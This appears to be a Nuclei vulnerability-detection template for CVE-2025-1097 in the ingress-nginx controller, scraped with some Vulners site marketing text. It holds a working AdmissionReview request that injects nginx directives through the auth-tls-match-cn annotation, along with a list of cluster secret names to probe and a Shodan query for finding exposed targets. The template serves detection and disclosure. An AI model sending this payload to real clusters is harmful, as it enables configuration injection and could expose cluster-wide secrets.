id: CVE-2025-1097
info:
name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-tls-match-cn annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
remediation: |
Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-tls-match-cn annotation.
reference:
- https://github.com/kubernetes/kubernetes/issues/131007
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2025-1097
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-1097
cwe-id: CWE-20
epss-score: 0.65355
epss-percentile: 0.98503
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"{{string}}","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"namespace":"default","operation":"CREATE","userInfo":{"username":"admin"},"object":{"apiVersion":"networking.k8s.io/v1","kind":"Ingress","metadata":{"name":"{{string}}-auth-tls","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/auth-tls-match-cn":"CN=abc #(\n){}\n }}\nssl_engine /aaa;\n#","nginx.ingress.kubernetes.io/auth-tls-secret":"{{secrets}}"}},"spec":{"ingressClassName":"nginx","rules":[{"host":"test.local","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"dummy","port":{"number":80}}}}]}}]}}}}
payloads:
secrets:
- kube-system/konnectivity-certs
- kube-system/azure-wi-webhook-server-cert
- kube-system/aws-load-balancer-webhook-tls
- kube-system/hubble-server-certs
- kube-system/cilium-ca
- calico-system/node-certs
- cert-manager/cert-manager-webhook-ca
- linkerd/linkerd-policy-validator-k8s-tls
- linkerd/linkerd-proxy-injector-k8s-tls
- linkerd/linkerd-sp-validator-k8s-tls
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'could not load the shared library'
condition: and
# digest: 490a0046304402203447fc8bd5257e07f65ada4be0ca63f9d392c5aa5782bb470dd2c0ff98e1453c022042522742ba9e795e92e4328a68316c4c224362e9b23323b01aa5ac871c9dc272:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation